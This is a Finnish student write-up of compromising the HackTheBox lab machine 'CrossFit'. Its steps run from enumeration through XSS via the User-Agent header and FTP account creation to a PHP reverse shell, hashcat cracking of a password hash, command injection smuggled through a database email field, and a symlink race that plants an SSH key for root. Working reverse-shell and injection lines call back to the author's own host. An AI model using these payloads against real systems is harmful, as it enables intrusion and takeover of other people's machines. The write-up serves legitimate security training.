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1 Johdanto 

Kyberturvallisuuden tutkimustyöhön kuului valita jokin tarkoituksella 

haavoittuvainen kone joka tulisi ”hakkeroida”.  

Tässä tutkimuksessa valitsin kohteeksi HackTheBox alustalta CrossFit nimisen koneen 

joka on luokiteltu vaikeusasteeltaan ”Insane” (Easy, Medium, Hard, Insane). 

Tässä käydään läpi enumerointi, haavoittuvuuksien löytäminen sekä niiden 

käyttäminen tähän koneeseen joidenka avulla saadaan itsellemme haltuun 

pääkäyttäjä. 

Tässä koneessa käytetään hyväksi XSS (Cross-site scripting) jonk avulla saame luotua 

itsellemme FTP pannulle käyttäjän minne voimme ladata oman PHP sivun joka antaa 

meille etäyhteyden tietokoneelle.  

Koneesta löydetään ”hashatty” salasana joka voidaan murtaa käyttämällä hashcat 

työkalua sekä rockyou.txt tiedostoa, mikä koostuu useista salasanoista. Näin 

pääsemme sisään toiselle käyttäjälle. 

Linuxin crontabista huomaamme scriptin, mikä ajetaan melko tiuhaan (1minuutin 

välein) ja tätä ajaa Isaac käyttäjä. Scripti sisältää haavoittuvuuden jonka avulla 

voimme asettaa oman komennon joka antaa meille shellin tähän käyttäjään. 

Koneelta löytyy myös pspy:n avulla toinenkin prosessi joka ajetaan minuutin välein. 

Tämä luo tmp filun jonka scripti lopuksi poistaa kun se on kirjoittanut sinne. Tähän 

luomme saman nimisen tiedoston symlinkin avulla, joka luo tilanteen, että itse root 

kirjoittaa haluamamme ssh .pub avaimen /root/.ssh/authorized_keys filuun tämän 

symlinkin kautta, joka takaa meille pääsyn root käyttäjälle ssh kautta ilman 

salasanaa. 

Tämä kone on vielä ns. aktiivinen HackTheBox sivustolla, joten tähä ei ole julkista 

”walktroughta” (writeup). Minulla meni noin 14h tämän koneen kanssa. Pisin aika 

kului cross-site scriptin kanssa, että sain sen toimimaan. Tarkempaa ajankäyttöä en 

saanut tästä koneesta.  
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2 Enumerointi 

2.1 Nmap 

Alkuun aloitetaan enumerointi nmap:in avulla, josta löydetään avoimet portit sekä 

palvelut. 

 

 
Kuva 1. nmap – (komento: nmap -sC -sV -oA nmap/crossfit 10.10.10.208) 

Nmapista huomaamme 3 porttia olevan auki:  

 - 21 FTP serveri 

 -22 SSH portti 

 -80 http serveri 
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2.2 Portti 80 - HTTP 

Käydään ensinvilkaisemassa portti 80: 

Avaan selaimella: 10.10.10.208 mistä avautuu Apache2 Debian default page. 
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Tämä ei varmaankaan ole se, minne meidän kuuluisi päästä, joten kokeillaan lisätä 

vhost crossfit.htb > /etc/hosts jos tämä muuttaisi sivun jonne pääsemme. 

 

Kokeillaan uudelleen sivua, mutta sama default page aukeaa. 

Palataan katsomaan nmap:in löydöksiä. 

 

2.3 Portti 21 - FTP 

 

Täältä löytyi myös tuo FTP serveri jossa on TLS, tätä voimme yrittää tutkia tarkem-

min: 

openssl s_client -connect crossfit.htb:21 -starttls ftp komennolla saamme hieman li-

sää tietoa tästä: 

 
Kuva 2. Uusi vhost! 
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Tästä kuvasta löydämme sähköposti osoitteen: info@gym-club.crossfit.htb jonka 

voimme lisätä /etc/hosts filuun. Nyt me pääsimme crossfit:in etusivulle! 

 

 

  

mailto:info@gym-club.crossfit.htb
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2.4 http enumerointi 

 

Blogi sivulta (http://gym-club.crossfit.htb/blog-single.php ) löydämme ”Leave a com-

ment” paikan, mikä ilmeisesti tunnistaa cross-site scriptien lähettämisen: 

 
Kuva 3. XSS attempt detected 

(Tässä kohtaa sain hetken aikaa pyöritellä eri metodeja ennen kuin löysin toimivan 

ratkaisun) 

”Browser information will be…” Tästä huomaamme että jos tämä botti huomaa XSS 

yrityksen, se kerää talteen IP osoitteen sekä selaimen informaation (user-agent). 

Otetaan tämän kommentin lähetys pyyntö burpsuitella kiinni: 

 



8 
 

 

Tämän avulla me voimme hallita, mitä informaatiota me lähetämme user-agent:issa. 

 

2.5 xss-detection enumerointi 

 

Tehdään siis testi löytyykö tästä haavoittuvuus: 

Käynistämme python serverin (python -m http.server), annamme user-agent para-

metrina: <script src=http://10.10.14.9:8000/test.php/>. Tämä yrittää hakea scriptiä 

minun omalta virtuaali koneestani, jonka ip on 10.10.14.9 ja nyt serveri pyörii por-

tissa 8000 jossa ei ole tuota test.php filua, mutta saan silti siitä ilmoituksen, mikäli 

tämä yrittää sitä saada: 

 
kuva 4. Get reguests 

Kuten kuvasta 4 näkyy, olemme saanet GET reguesteja tuohon test.php filuun! Nyt 

me voisimme luoda pienen scriptin tähän ja kokeilla jos saamme jonkin oman scriptin 

suoritettua samaisella komennolla. Tein nopean scriptin, joka lähettää POST reques-

tin minulle. Kuva 5 näkyy myös, että mistä tämä scripti ajetaan, koska Referer koh-

dassa löytyy report.php scripti. 

 
kuva 5. scripti suoritettu 
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3 Haavoittuvuuden käyttäminen (Exploitation) 

(Tämä vei ”hetken” aikaa, että huomasin miten voin hyödyntää ftp:tä. Ftp:stä löytyi scripti jonka sour-

cesta löytyi komento jolla me voimme luoda uuden käyttäjä tunnuksen tuonne hetkeksi jonka jälkeen 

se automaattisesti poistuu sieltä.) 

 

3.1 FTP tutkiminen js scriptin avullla 

Näihin ei pääse käsiksi ulkoisesta verkosta, joten voimme olettaa että tämä pyörii lo-

calhostissa. Lähettämällä pyyntöjä ftp.crossfit.htb saamme vastaukseksi: 

 
Kuva 6. ftp.crossfit.htb 

Tästä näkyy linkki, joka kertoo, että sieltä voi luoda uuden käyttäjän. Lähettämällä 

juuri löytyneeseen linkkiin pyynnön, saamme tietoon, mitä tarvitsemme käyttäjän 

luontiin. Nämä linkin mitä pyydämme, avaa tuon koneen käyttäjä, kuka hallitsee 

tuota report.php scriptiä ja avaa useragent näkymän, jossa on meidän payload.  

ftp://ftp.crossfit.htb/
ftp://ftp.crossfit.htb/
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Kuva 7. ftp serverin käyttäjän luominen. 

Kuvasta 7 näkyy, että tämä lomake haluaa käyttäjänimen sekä salasanan. Ja koska tässä on 

csrf suojaus, siihen vaaditaan myös tuo tokeni joka löytyy sivulta (tämän huomasin vasta en-

simmäisen käyttäjän luonnin yhteydessä, että tokeni vaaditaan). 
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3.2 FTP käyttäjän luominen 

 

 
Kuva 8. FTP käyttäjän luonti 

Tämän scriptin avulla haemme ensin tarvittavan tokenin, joka annetaan argument-

tina createAccount() funktiolle. Dataksi annamme käyttäjä nimen (jubin) sekä salasa-

nan (jubin) ja tokenin jonka haimme alkuun. 

Nyt kun lähetämme burpsuitella taas kutsun tuohon scriptiin, sen pitäisi luoda meille 

ftp käyttäjä jonka avulla me pääsemme sisään tuonne pannulle. 
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Kuva 9. FTP server 

Jess!  
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3.3 Reverse shell 

Täältä me näemmä muutaman kansion (development-test, ftp, gym-club sekä html). 

gym-club oli yksi vhost:eista jonka me lisäsimme, ja on selvää odottaa että tämä 

missä olemme nyt kiinni on tyylillä: ftp.crossfit.htb. Joten mikä tämä development-

test ja html on? 

Ainoa mihin meillä on kirjoituslupa on tuo development-test. 

development-test kansio on tyhjä, mutta mitä jos me lisäämme tämän meidän 

/etc/hosts filuun ja laitamme oman .php sivun sinne? 

Lisäämällä hyvin simppelin “reverse shellin” development-test kansioon: 

<?php shell_exec("bash -c 'bash -i >& /dev/tcp/10.10.14.21/9001 0>&1'"); ?> 

nimellä shell.php. Tämä ei toiminut suoraan laittamalla hosts avulla ja menemällä 

tänne http://development-test.crossfit.htb/shell.php eli ei julkisesti päästävissä, 

mutta scriptin kautta jota käytimme aiemmin käyttäjän luontiin, mutta tällä kertaa  

kutsui tätä shell.php filua, saatiin shelli! 

 

 
Kuva 10. web käyttäjän shelli. 

 

  

ftp://ftp.crossfit.htb/
http://development-test.crossfit.htb/shell.php
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4 Oikeuksien korottaminen (Privilage Escalation) 

4.1 Enumerointi 

Nyt kun olemme päässeet sisään koneeseen, yksi mitä tykkään tehdä on ajaa linpeas, 

joka hoitaa kätevästi suurimman osan enumeroinnista, ainoa miinus puoli että sitä 

dataa tulee paljon karsittavaksi.. 

4.1.1 Linpeas.sh 

Saamme linpeas.sh scriptin tänne pistämällä python serverin pystyyn, ja kohtees-

tamme laitamme komennon ”wget http://10.10.14.21/linpeas.sh” joka lataa tämän 

työkalun käyttöömme. 

 
Kuva 11. Linpeas.sh lataus. 

Nyt meillä on linpeas ja laitetaan se ruksuttamaan. 

http://10.10.14.21/linpeas.sh
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Kun linpeas on ajanut, se antaa PALJON data mistä lähteä tutkimaan. Sieltä löytyi 

mm. myös salasanoja hashattynä. 

 

4.1.2 Salasanan murtaminen 

Toinen näistä on ilmeisesti käyttäjän hank hashatty salasana. 

Saamme koneen käyttäjät listattua käyttämällä: 

cat /etc/passwd | grep -v nologin | grep -v false 

komento karsii oikeat käyttäjät esille. 

 

Kuva 12. Käyttäjät koneelta passwd. 

Voimme yrittää murtaa tuon hash:ätyn salasanan hashcatin avulla. hashcat –exam-

ple-hash näyttää meille esimerkkejä miltä mikäkin hashi näyttää ja hakemalla (käytän 

tmux johon on lisätty vim tyylinen haku selaus mitä lie, kätevä juttu anyway) “\$6\$” 

alkuisia hasheja (haku ei onnistu käyttämällä pelkkää $ joten pitää käyttää escape 

char. että se osaa käsitellä sitä kuten kirjainta eikä muuttujana joten se miten vim 

lukee tämän: $6$) löydämme hashcat moodiin 1800 sopivan hashin. 

  

Kuva 13. Hashcat mode ja hash tyyppi 

Nyt kun tiedämme mikä hash on kyseessä, voimme yrittää murtaa sen. 

hashcat -m 1800 hash.hash /usr/share/wordlists/rockyou.txt  

mikä onnistuu löytämään oikean salasanan: powerpuffgirls! Pääsemme tähän käyt-

täjään ssh hank@10.10.10.208 ja antamalla juuri löydetyn salasanan. (Tästä saamme 

user flagin). 

mailto:hank@10.10.10.208
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4.2 Käyttäjä ”Hank” (Further priv. esc.) 

4.2.1 Enumerointi 

Hieman tutkiskelua niin löydämme /var/www/gym-club kansiosta db.php filun joka 

sisältää mysql tunnukset.

 

Kuva 14. database käyttäjätunnus. 

Toinen mielenkiintoinen asia oli crontabissa oleva scripti joka ajetaan joka minuutti. 

 

Kuva 15. crontab 

Vilkaisemalla scriptiä, sieltä löytää pienellä googletuksella haavoittuvan kirjaston jota 

tuo käyttää: mikehaertl:in shellcommand. 
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Kuva 16. send_updates.php 

Löytämäni exploitti mahdollistaa uuden argumentin lisäämisen tähän scriptiin. 

Scriptistä näkee että se hakee mysql databasesta sähköpostiosoitteen. Mitä jos 

käytämme aiemmin löytämiämme db credejä ja lisäämme ylimääräisen argumentin 

tähän EMAIL kohtaan? Laittamalla tietokantaan “insert into users (email) VALUES("-E 

$(bash -c 'bash -i >& /dev/tcp/10.10.14.11/1337 0>&1')");” voimme kokeilla 

simppeliä reverse shelliä. Tämän jälkeen laitetaan nc kuuntelemaan tulevia 

yhteyksiä. Koska tätä scriptiä ajaa käyttäjä “isaac” niin tämä reverse shelli tulisi siis 

myös käyttäjän isaac tunnuksillla. 

Tämä ei toiminut, joten jatkettuani hieman tutkimista, löysin ftp admin käyttäjän. 

 

Kuva 17. ftpadm käyttäjätunnus. 
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Kun kirjaudutaan tällä käyttäjällä sisään ftp pannulle, löydämme ainoastaan 

messages kansion. 

 

Kuva 18. ftpadmin fpt server. 

4.2.2 Exploittaus 

Hetken pyörittyäni, huomasin että tuo message kansio sisältää jaettavan viestin 

crossfit clubin jäsenille. Kun se sisältää viestin, se lähetetään send_updates scriptillä. 

Joten kokeillaan uudelleen aiemmin yritettyä mikehaertl exploittia mutta nyt lisätään 

messageen jokin viesti. Hetki odottelua ja siinä se on, käyttäjä isaac! 

 

Kuva 19. Isaac 
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5 Root käyttäjän saaminen (total privilage escaletaion) 

Jonkin aikaa pyörien ympyrää (jonkin aikaa==parisen tuntia…), käytin pspy nimistä 

ohjelmaa, joka monitoroi prosesseja, jos löytyisi jotain mielenkiintoista. Ensin pitää 

vain selvittää moni bittinen järjestelmä on kyseessä: cat /etc/cpuinfo kertoo että 

tämä on 64bit. 

5.1 Enumerointi 

5.1.1 Prosessien selvittäminen 

Hetken ajon päästä pspy informoi dbmsg scriptistä mikä ajetaan joka minuutti! 

 

Kuva 20. pspy 

Tämä näyttäisi olevan “compiled” koodia, joten ladataan tuo omalle koneelle ja 

pistetään Ghidra tulille. 
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5.1.2 Scriptin selvity Ghidra:n avulla 

Scripti näyttäisi käyttävän srand ja rand funktioita jotka vedetään md5 läpi, jolla teh-

dään väliaikainen filu /var/local/ kohteeseen databasen tiedoille. Tiedot mitä db:stä 

haetaan: id, name, email ja message. 

 

Kuva 21. Ghidra ja dbmsg source. 
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Tähän voimme yrittää tehdä samanlaisen random generaattorin: 

 

Kuva 22. Random generaattori. 

5.2 Exploittaus 

 

Tämän sekä db:n ID avulla voimme yrittää luoda saman nimisen symboolisen linkin, 

joka toimii periaatteessa samalla tavalla kuin windowsin pikakuvakkeet. Kun me 

luomme ensin tämän symlinkin /root/.ssh/authorized_keys tiedostoon, root käy itse 

kirjoittamassa tuon haluamamme avaimen tähän temp tiedostoon, joka symlinkin ta-

kia menee myös tuonne authorized_keys tiedostoon, joka takaa meidän pääsyn il-

man salasanaa root käyttäjään ssh kautta. 

Valmisteluun tarvitaan ssh avain: ssh-keygen -t ed25519 -f root (ed25519 pelkästään 

siksi että se on lyhyt) 

pieni bash script luomaan jatkuvasti uusi symlink: while true; do ln -s 

/root/.ssh/authorized_keys /var/local/$(echo -n $(./random_gen)1 | md5sum | cut -d 

" " -f 1) 2>/dev/null; done 

Tämä ajaa meidän random_gen scriptin, lisää perään ID:n (laitetaan se olemaa 1), 

työnnetään se md5sum:in läpi, poistetaan turhat perästä. 

Lopuksi tarvitaan root.pub tiedot databaseen: 

insert into messages(id, name, email, message) values(1,"ssh-ed25519","jubin-

black@parrot" 

,"AAAAC3NzaC1lZDI1NTE5AAAAICJMhvAHxc1jVRNnXA0QLWj+jhoL2FPr5iPLEYaVWIJG

"); 

Ghidrasta avatulla scriptillä näimme tuon järjestyksen missä ne kirjoitetaan filuun, 

siksi se laitetaan DB:seen ”väärässä” järjestyksessä. 
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Sitten odotetaan että tuo dbmsg scripti ajaa sen läpi, ja toivomme saavamme root 

käyttäjän haltuun. 

 
Kuva 23. Root käyttäjä. 

Nyt olemme saaneet yhdistettyä root käyttäjään ssh kautta, joten tämä symlink race 

tilanne todellakin antoi meidän lisätä tuon .pub avaimen mikä antoi meidän koneelle 

luvan yhdistää root käyttäjään ilman salasanaa. 

 

 

 

 

 

 


